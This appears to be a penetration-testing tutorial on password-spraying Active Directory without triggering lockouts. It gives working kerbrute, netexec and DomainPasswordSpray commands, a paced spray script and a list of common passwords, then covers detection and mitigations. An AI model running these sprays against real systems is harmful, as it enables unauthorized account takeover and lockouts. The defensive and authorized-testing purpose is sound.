Password Spraying Active Directory Without Tripping Lockouts

Active Directory
Time it takes to read this article 5 minutes.

Legal & ethical disclaimer. This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to assess. Spraying credentials against systems you are not authorized to test is illegal in most jurisdictions and can lock real users out of production accounts. You are responsible for staying inside your rules of engagement.

Introduction

Password spraying inverts the classic brute-force model. Instead of throwing thousands of passwords at one account (and locking it instantly), you throw one well-chosen password at every account in the domain. Because each account sees only a single failed attempt per round, you stay under the lockout threshold while still benefiting from the statistical reality that in any organization of a few hundred users, someone is using Summer2026! or Welcome1.

In this article you will learn how Active Directory authentication exposes a spray surface, how account lockout actually works under the hood (badPwdCount, observation windows, and PDC emulator behavior), how to spray safely with kerbrute, and — critically — how a blue team detects and stops you. The defensive section carries equal weight, because a spray that locks out the helpdesk's entire VIP OU is a failed engagement.

How it works

Active Directory exposes several authentication endpoints you can validate credentials against. The two most common for spraying are:

  • Kerberos pre-authentication (AS-REQ to UDP/TCP 88). The client sends a timestamp encrypted with a key derived from the user's password. If the password is wrong, the KDC returns KRB5KDC_ERR_PREAUTH_FAILED. If the account exists but you got the password right, you get an AS-REP (a TGT). This is fast, quiet, and — importantly — does not generate a logon failure on a member server, only on the DC.
  • NTLM / LDAP / SMB bind (445/389). Tools like crackmapexec/netexec authenticate over SMB. Noisier, but useful when Kerberos is filtered.

Kerbrute uses the first method. A failed AS-REQ increments badPwdCount; a wrong username returns KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, which lets kerbrute also do username enumeration without ever touching a password.

Lockout mechanics you must respect

The relevant policy values (viewable via net accounts or the Default Domain Policy) are:

  • Account lockout threshold — the number of bad attempts before lockout.
  • Reset account lockout counter after (the observation window) — how long after the last bad attempt badPwdCount resets to 0.
  • Account lockout duration — how long a locked account stays locked.

Two subtleties matter. First, badPwdCount is not cleanly replicated across all DCs; the PDC emulator is consulted on bad-password events to make the lockout decision, but each DC tracks its own counter and only forwards bad-password events urgently to the PDC. Second, there is a built-in "bad password retry" grace where AD will not always increment on the exact same wrong password presented twice in quick succession. The safe operating rule: one attempt per account per observation window, minus a safety margin.

Prerequisites / Lab setup

You need a foothold to read the policy and a user list:

  • A reachable domain controller (Kerberos 88 / LDAP 389).
  • A username list. Build it from OSINT (LinkedIn → first.last), from a null/guest LDAP query, or via kerbrute's own enumeration.
  • The current lockout policy. If you have any valid low-priv credential, pull it remotely.
# Read the domain lockout policy with netexec (formerly crackmapexec)
netexec smb dc01.corp.local -u 'lowpriv' -p 'Passw0rd!' --pass-pol
# No creds? Enumerate valid usernames first via Kerberos (no lockout risk)
kerbrute userenum -d corp.local --dc 10.10.10.5 usernames.txt -o valid_users.txt

Note the Lockout Threshold and Reset Account Lockout Counter After values from --pass-pol. If the threshold is 0, there is no lockout and you can spray freely. If it is, say, 5 with a 30 minute observation window, your safe cadence is at most one attempt every ~31 minutes to keep badPwdCount at 1.

Attack walkthrough

1. Pick targeted passwords, not a dictionary

Spraying is about quality, not quantity. Good candidates follow the season/year and company patterns:

Summer2026!
Spring2026!
Welcome1
Welcome2026!
Corp@2026
P@ssw0rd
ChangeMe123

2. Spray a single password across all users

# One password, all users, against the DC over Kerberos
kerbrute passwordspray -d corp.local --dc 10.10.10.5 \
  valid_users.txt 'Summer2026!' -o spray_round1.txt

A hit looks like:

2026/05/06 11:02:13 >  [+] VALID LOGIN:  j.doe@corp.local:Summer2026!

3. Respect the observation window between rounds

Do not immediately fire the next password. Wait out the reset window plus margin. A tiny wrapper enforces the cadence:

#!/usr/bin/env bash
# safe_spray.sh — one password per reset window
PASSWORDS=("Summer2026!" "Welcome2026!" "Corp@2026")
WINDOW_SECONDS=1860   # 31 min for a 30-min reset window

for pw in "${PASSWORDS[@]}"; do
  echo "[*] Spraying: $pw"
  kerbrute passwordspray -d corp.local --dc 10.10.10.5 valid_users.txt "$pw" \
    -o "spray_$(date +%s).txt"
  echo "[*] Sleeping ${WINDOW_SECONDS}s to reset badPwdCount..."
  sleep "$WINDOW_SECONDS"
done

4. Alternative tooling

If Kerberos is blocked, netexec sprays over SMB/LDAP. Use --continue-on-success only when you want every hit, and never loop a password list against one user:

# SMB spray — one password across the user list
netexec smb dc01.corp.local -u valid_users.txt -p 'Welcome2026!' \
  --continue-on-success
# From a domain-joined Windows host, DomainPasswordSpray reads the policy
# and auto-calculates a safe attempt count to avoid lockouts.
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password "Summer2026!" -OutFile hits.txt

DomainPasswordSpray is worth knowing because it queries the domain policy itself and refuses to exceed the threshold — a good model for "lockout-aware by design."

Once you have one valid credential, pivot: enumerate the domain, look for Kerberoastable accounts, and check whether your new user can read LAPS passwords or has unconstrained delegation rights.

Attack flow

Password Spraying Active Directory Without Tripping Lockouts diagram 1

The diagram shows the loop: enumerate users, read the policy, spray one password per observation window, sleep, repeat until a credential lands, then pivot.

Detection & Defense (Blue Team)

Spraying is loud if you know where to look. The single most useful signal is a broad horizontal pattern: one failed logon across many distinct accounts in a short window, often from a single source IP, frequently outside business hours.

Detection

  • Windows Security log 4625 (failed logon) and 4768/4771 (Kerberos pre-auth failed) on the DCs. Spraying produces many 4771s with Failure Code 0x18 (bad password) spread across accounts rather than concentrated on one. For NTLM spraying you'll see 4625 with Status 0xC000006A.
  • Aggregate, don't alert per event. A rule like "≥10 distinct accounts each with exactly one 4625/4771 from the same source within 5 minutes" catches a spray while ignoring a single fat-fingered user.
  • Monitor badPwdCount velocity. Many accounts ticking from 0 to 1 simultaneously is a textbook spray fingerprint.
  • Watch the PDC emulator specifically, since it adjudicates lockouts and sees urgently-replicated bad-password events.
  • Microsoft Defender for Identity ships a built-in "Suspected Brute Force attack (Password Spray)" detection that does exactly this horizontal correlation.
# Hunt for spray patterns: failed Kerberos pre-auth (4771) across many users
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4771; StartTime=(Get-Date).AddHours(-1)} |
  Where-Object { $_.Message -match '0x18' } |
  ForEach-Object { ($_.Properties[0].Value) } |
  Group-Object | Sort-Object Count -Descending

Defense / mitigation

  • Set a sane lockout policy (e.g., threshold 5, 15-30 minute window) — but understand it does not stop low-and-slow spraying, so don't rely on it alone.
  • Enforce strong, banned-password policies. Azure AD / Entra Password Protection blocks Welcome, Password, seasons, and company-name variants both in the cloud and on-prem via the DC agent. This kills the spray's economics directly.
  • Mandate MFA, especially on any internet-facing auth (VPN, OWA, ADFS, Entra). A valid sprayed password is useless without the second factor.
  • Disable / monitor legacy authentication (basic auth, IMAP/POP, legacy ADFS endpoints) that bypass conditional access.
  • Use Smart Lockout (Entra) which distinguishes attacker IPs from the legitimate user, reducing accidental DoS while still blocking the attacker.
  • Honeytoken accounts: never-used accounts that should generate zero auth traffic. Any 4625/4771 against them is high-fidelity evidence of a spray.

Conclusion

Password spraying succeeds because of human password habits and fails — operationally — when it ignores lockout mechanics. As an attacker, the discipline is simple: enumerate users quietly, read the policy, and never exceed one attempt per account per observation window. As a defender, the countermeasures are equally clear: ban weak passwords at the source, require MFA, and alert on the horizontal shape of failed authentications rather than per-account thresholds. Get banned-password protection and MFA right, and the entire technique collapses.

References

Comments

Copied title and URL